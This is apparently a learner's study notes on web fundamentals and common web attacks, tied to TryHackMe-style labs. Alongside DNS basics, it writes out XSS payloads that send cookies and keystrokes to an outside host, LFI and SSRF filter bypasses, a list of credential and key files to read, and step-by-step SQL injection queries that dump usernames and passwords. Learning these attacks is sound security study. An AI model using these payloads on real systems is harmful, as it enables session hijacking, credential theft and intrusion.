# Web Fundamentals 101 ###### tags: `dns` `web basics` ## DNS Domain name system is how we find resources on the internet. TLD - top level domain, classified as generic tld (GTLD) or country code tld (ccTLD). For hackmd.io , .io is the TLD and hackmd is the second-level domain. When registering a domain, the second level domain is limited to 63 characters + the TLD and can only use 0-9 a-z and hyphens, however cannot start / end with hyphens or have consecutive hyphens. Subdomains sit on the left handside of the second level domain and are separated from them by a period. A subdomain name has the same naming restrictions as the second level domain. You can use multiple subdomains split with periods to create longer names, but the length must be >=253 characters. You can have unlimited subdomains for your domain. ### DNS record types * **A record:** resolves to ipv4 address * **AAAA record:** resolves to ipv6 address * **CNAME record:** resolves to another domain, another dns request would then be made to the other domain , e.g redirection to a site that handles ecommerce for the site you are on like a shopify site. * **MX record:** resolves to the address of the mail exchange servers for the domain being queried. They come with a priority flag which tells the client the order in which to try the servers. * **TXT record:** are free text fields where any text based data can be stored. Commonly used to list servers that have th authority to send an email on behalf of the domain. Can be used to verify domain ownership when signing up for 3rd party services. ### DNS Requests 1. When you make a DNS request, your computer first checks its local cache to see if you've previously looked up said address, if not, a request is made to a recursive dns server. 2. A recursive dns server is usually provided by your ISP. It has a local cache of recently looked up domain names, If a result is found it is sent back and your request ends here, if not found, the address is sought starting from the internet's root dns servers. 3. Root servers are the dns backbone of the interwebs. They redirect you to the appropriate TLD e.g for hackmd.io you would be redirected to the .io TLD. 4. The TLD server holds records for where to find the authoritative server to answer the DNS request, this is a.k.a the name server. There are multiple name servers for a domain name for backup purposes. 5. An authoritative dns server is responsible for storing the DNS records for a particular domain name, and is where updates to domain details would be made. Depending on the record type, the DNS record is then sent back to the Recursive DNS Server, where a local copy will be cached for future requests and then relayed back to the original client that made the request. ```=1 # dns request nslookup domain # dns request for type A nslookup --type=A domain # dns request for cname nslookup --type=CNAME domain # dns request for mx nslookup --type=MX domain # dns request for txt nslookup --type=TXT domain ``` ## Other web components ### Load balancers Serve 2 main purposes: * ensuring high traffic websites can handle the load * providing a failover if a server becomes unresponsive the load balancer receives the request first then based on an algorithm such as round-robin or weighted (where it checks the current utilization) it assigns your requests to one of the servers it sits in front of. LBs perform period health checks to ensure servers are running correctly. ### Content Delivery Networks (CDN) They serve the purspose of cutting down traffic to a busy website by serving contents to requests from the location that is geographically closest to the requester. ### Database Provides a way of storing information. Common databases are mysql, mssql, postgres, mongodb, graphql. ## WAF Web app firewalls sit between the web request and web server with the main aim of protecting the web server from hacking and especially DOS attacks. Analyzes web requests for common attack techniques, whether the request is from a real browser or a bot. By the use of rate limiting, it checks whether an excessive amount of web requests are being sent. ## IDOR Insecure Direct Object Reference occurs when a web server receiving user-supplied input to retrieve objects(files, data, documents) puts too much trust in it and does not perform server-side validation on it to confirm if the requested object belongs to the user requesting it. ## File Inclusion The common types are: * Local file inclusion * Remote file inclusion * Directory Traversal The main contributor to these vulnerabilities is insufficient user input validation on the server side. Path / directory traversal is when a web security vuln allows an attacker to read os resources e.g local files on the server running the app. The attacker manipulates the web app's url to locate and access directories / files stored outside the app's root directory. common os files to use when testing: |Location |Description | | ----------------- |:----------------------- | |/etc/issue | contains a message or system identification to be printed before the login prompt.| | /etc/profile | controls system-wide default variables, such as Export variables, File creation mask (umask), Terminal types, Mail messages to indicate when new mail has arrived| | /proc/version | specifies the version of the Linux kernel| | /etc/passwd |has all registered user that has access to a system | |/etc/shadow |contains information about the system's users' passwords | | /root/.bash_history | contains the history commands for root user| | /var/log/dmessage | contains global system messages, including the messages that are logged during system startup | /var/mail/root | all emails for root user| |/root/.ssh/id_rsa | Private SSH keys for a root or any known valid user on the server | | /var/log/apache2/access.log |the accessed requests for Apache webserver | |C:\boot.ini | contains the boot options for computers with BIOS firmware | ### LFI filter bypass jutsu: * the ../ * the %00 a.k.a nullbyte appended to the end of a string means the rest of the string will not be read ( bug fixed in PHP 5.3.4 and above.) * the ....//....// works when the app is filtering for ../ since it would remove the first ../ and leave the subsequent ../ ### RFI Technique to include remote files into a vulnerable app. Occurs when improperly sanitizing user input, allowing an attacker to inject an external url to the include function. It needs the **allow_url_fopen** option to be on. RFI ranks as higher risk than LFI since it allows for RCE on the server. It can also lead to: * Sensitive information disclosure. * Cross-site scripting(XSS). * Denial of Service (DOS). ### Remediation * Keep system and services, including web application frameworks, updated with the latest version. * Turn off PHP errors to avoid leaking the path of the application and other potentially revealing information. * A Web Application Firewall (WAF) is a good option to help mitigate web application attacks. * Disable some PHP features that cause file inclusion vulnerabilities if your web app doesn't need them, such as allow_url_fopen on and allow_url_include. * Carefully analyze the web application and allow only protocols and PHP wrappers that are in need. * Never trust user input, and make sure to implement proper input validation against file inclusion. * Implement whitelisting for file names and locations as well as blacklisting. ### Practical example When the app logic requires a POST request you can use burp to invoke a post request to the desired url as shown below ![](https://i.imgur.com/jcg0G3X.png) Note that the Content-Type: application/x-www-form-urlencoded option must be set manually When the app logic requires a GET request but is looking specifically for a file ending with php, you can use the null byte operator to force it to ignore the php part as shown below ![](https://i.imgur.com/VXHZ2Nh.png) Note that this particular request was made through the cookie, set the cookie first to Admin (or whichever user has access to the url), then repeat the request with the cookie value set to the file you want with a null byte appended to the end. When the app logic requires a POST request and null byte operator, you can implement that as shown below ![](https://i.imgur.com/9C0Mubm.png) ## SSRF Server Side Request Forgery allows an attacker to make a server issue additional / edited HTTP requests to the resource the attacker chooses. ### Types of SSRF * Normal / Regular: SSRF occurs and output is returned to screen. * Blind: SSRF occurs but no output returned to screen. SSRF can result in: * Unauthorized access * Access to customer / organizational data * Scaling internal networks * Revelation of id tokens / creds ### SSRF example append &x= to the end of the url desired in order to make the browser ignore the rest of the request e.g ```https://website.thm/item/2?server=server.website.thm/flag?id=9&x=``` would only request ``` https://server.website.thm/flag?id=9&x=.website.thm/api/item?id=2 ``` but the request would only process up till the ```flag?id=9``` part If working with a blind SSRF where no output is reflected back to you, you'll need to use an external HTTP logging tool to monitor requests such as requestbin.com, your own HTTP server or Burp Suite's Collaborator client. ### Common Mitigations Devs may implement checks to ensure requested urls match specific criteria in the following ways: #### Allow list: All requests get denied unless they appear on a list or match a particular pattern. #### Deny list: All requests are accepted apart from resources specified in a list or matching a particular pattern. Common pattern would be localhost / 127.0.0.1, or for cloud environments the IP address 169.254.169.254, which contains metadata for the deployed cloud server, including possibly sensitive information. ### mitigation bypass #### Alternative ip references Attackers can bypass a Deny List by using alternative localhost references such as 0, 0.0.0.0, 0000, 127.1, 127.*.*.*, 2130706433, 017700000001 or subdomains that have a DNS record which resolves to the IP Address 127.0.0.1 such as 127.0.0.1.nip.io. An attacker can bypass the cloud ip address restriction by registering a subdomain on their own domain with a DNS record that points to the IP Address 169.254.169.254. #### Open Redirection An open redirect is an endpoint on the server where the website visitor gets automatically redirected to another website address. An attacker could utilise it to redirect the internal HTTP request to a domain of the attacker's choice. ## XSS Cross-site scripting is classified as an injection attack where malicious JavaScript gets injected into a web application with the intention of being executed by other users. ### XSS payloads #### Proof of concept ```=1 # causing an alert box to pop as poc <script>alert('POC achieved');</script> ``` #### Session Stealing The below JavaScript takes the target's cookie, base64 encodes the cookie to ensure successful transmission and then posts it to a website under the hacker's control to be logged. Once the hacker has these cookies, they can take over the target's session and be logged as that user. ``` <script>fetch('https://allabouthatbase.io/steal?cookie=' + btoa(document.cookie));</script> ``` #### Key Logger: ``` <script>document.onkeypress = function(e) { fetch('https://allabouthatbase.io/log?key=' + btoa(e.key) );}</script> ``` #### Business Logic: This would be about calling a particular network resource or a JavaScript function. For example, imagine a JavaScript function for changing the user's email address called user.changeEmail(). The payload would appear as follows: ``` <script>user.changeEmail('attacker@allabouthatbase.io');</script> ``` ### Reflected XSS Happens when user supplied data in a HTTP requested is included in the webpage without any validation. ### Stored XSS The XSS payload is stored on the web application (in a database, for example) and then gets run when other users visit the site or web page. ### DOM based XSS Document Object Model - is a programming interface for HTML and XML documents that represents the page so that programs can change the document structure, style and content. * DOM Based XSS is where the JavaScript execution happens directly in the browser without any new pages being loaded or data submitted to backend code. Execution occurs when the website JavaScript code acts on input or user interaction. * DOM Based XSS can be challenging to test for and requires a certain amount of knowledge of JavaScript to read the source code. You'd need to look for parts of the code that access certain variables that an attacker can have control over, such as "window.location.x" parameters. * When you've found those bits of code, you'd then need to see how they are handled and whether the values are ever written to the web page's DOM or passed to unsafe JavaScript methods such as eval(). ### Blind XSS Blind XSS is similar to a stored XSS in that your payload gets stored on the website for another user to view, but in this instance, you can't see the payload working or be able to test it against yourself first. A popular tool for Blind XSS attacks is [xsshunter](https://xsshunter.com/). ### Perfecting the payload Depending on the logic of how the input is stored you could consider: close off the open tag by using ``` "><script>alert('oh snap');</script> ``` close off the text area by using ``` </textarea><script>alert('oh snap');</script> ``` escape the prior js command by using ``` ';alert('oh snap');// ``` escape the removal of script key words by using ``` <sscriptcript>alert('THM');</sscriptcript> ``` #### Polyglots An XSS polyglot is a string of text which can escape attributes, tags and bypass filters all in one ``` jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e ``` ## Command Injection A command injection vulnerability is also known as a "Remote Code Execution" (RCE) because an attacker can trick the application into executing a series of payloads that they provide, without direct access to the machine itself (i.e. an interactive shell). The webserver will process this code and execute it under the privileges and access controls of the user who is running that application. [Here](https://github.com/payloadbox/command-injection-payload-list) is a payload list you can use for RCE ## SQLi 3 types: 1. in-band 2. out of band 3. blind ### in-band sqli The same method of communication is used to both exploit and receive the results. ### error-based sqli is the most useful for obtaining information on table structure as db error messages are printed to the screen. can be used to enumerate a whole db. ### union-based sqli utilizes the UNION operator alongside a select statement to return additional results. is the most common way to extract large amounts of data via sqli. ```=1 # practical demo # given the url: https://website.thm/article?id=1 # the query would be: select * from article where id = 1 # therefore, we start with: 1 UNION SELECT 1 in the form https://website.thm/article?id=1 UNION SELECT 1 # this uses union to additionally select another item # there might be an error in case the requested columns are not similar to the table columns 1 UNION SELECT 1,2 # iterate adding another column till you don't get an error 1 UNION SELECT 1,2,3 # this displays the article normally # to display our own data instead of the article we mod the request to: 0 UNION select 1,2,3 # get the db name 0 UNION SELECT 1,2,database() # in our case, it returns sqli_one # get the list of tables in the db 0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one' # in our case we get articles and staff_users # note that: # group_concat() gets the specified column (in our case, table_name) from multiple returned rows and puts it into one string separated by commas. # information_schema database: every user of the database has access to this, and it contains information about all the databases and tables the user has access to # enumerate the table structure 0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users' # The query results provide three columns for the staff_users table: id, password, and username. # enumerate username and passwd 0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users # note we use the : to split the uname and passwd from each other and we separate the different results using the br tag to put them all on new lines ``` ### Blind SQLI Authentication bypass Websites are often set up to only care about whether the db says user credentials exists rather than what the user creds actually are. With this in mind, we would not need to enumerate valid creds, all we have to do is make the db return TRUE. for that we can use ``` ' OR 1=1-- # since we use the OR statement, and 1=1 shall always be true, the db returns true ``` ### Boolean based sqli Premium tears - just kidding, it's actually pretty neat if you are patient. Boolean based sqli is injection that returns either true or false. That's it. You would need to leverage the answer returned to continue your enumeration of the target. It pays to make educated guesses on what names might be used for tables and users. Also, find a way to automate this :) ```=1 # given a query: select * from users where username = '%username%' LIMIT 1; # we can try admin' UNION SELECT 1;-- # keep adding columns till the response is true, in our case it was: admin' UNION SELECT 1,2,3;-- # enumerate the db using the database() method admin123' UNION SELECT 1,2,3 where database() like '%';-- # cycle through all the letters, numbers and characters such as - and _ until we discover a match # this is where educated guesses come in and we test for the user name admin by progressively using 'a%' then 'ad%' .. 'admin%' which still returns true # identify the db name admin123' UNION SELECT 1,2,3 where database() like '%';-- # cycle through till you get true returned, feel free to leverage educated guesses # identify the table name admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'a%';-- # cycle through the 'a%' to find the complete table name # in this case the table is users admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name='users';-- # enumerate the columns admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%'; # one of the columns found was id # enumerate more columns admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id'; # enumerate the user login creds admin123' UNION SELECT 1,2,3 from users where username like 'a% # enumerate the password admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a% ``` ### Blind SQLI - time based works like the boolean based, except instead of true / false, we leverage the sleep() function to timeout the page for a set duration which equates to our true / false. the process is the same except we use ``` UNION SELECT SLEEP(5);-- ``` instead of ```UNION SELECT 1;--``` ``` =1 # enumerate db admin123' UNION SELECT SLEEP(5),2 where database() like 'sql__four%';-- # enumerate table name admin123' UNION SELECT SLEEP(3),2 FROM information_schema.tables WHERE table_schema = 'sql__four' and table_name like 'u%s' ;-- # this failed, and after playing around with it for quite a while I decided to take an educated guess # I got impatient and figured it would be easier to test to see if the table users existed # enumerate user name admin123' UNION SELECT SLEEP(2),2 from users where username like 'a%'; -- # progressively used the 'a%' to get to admin as the username # enumerate password leveraging acquired user name admin123' UNION SELECT SLEEP(2),2 from users where username = 'admin' and password like 'a%' ; -- # hint - it's all digits so try that ``` Thank you for coming to my ted talk on why resilience is important for pentesting :)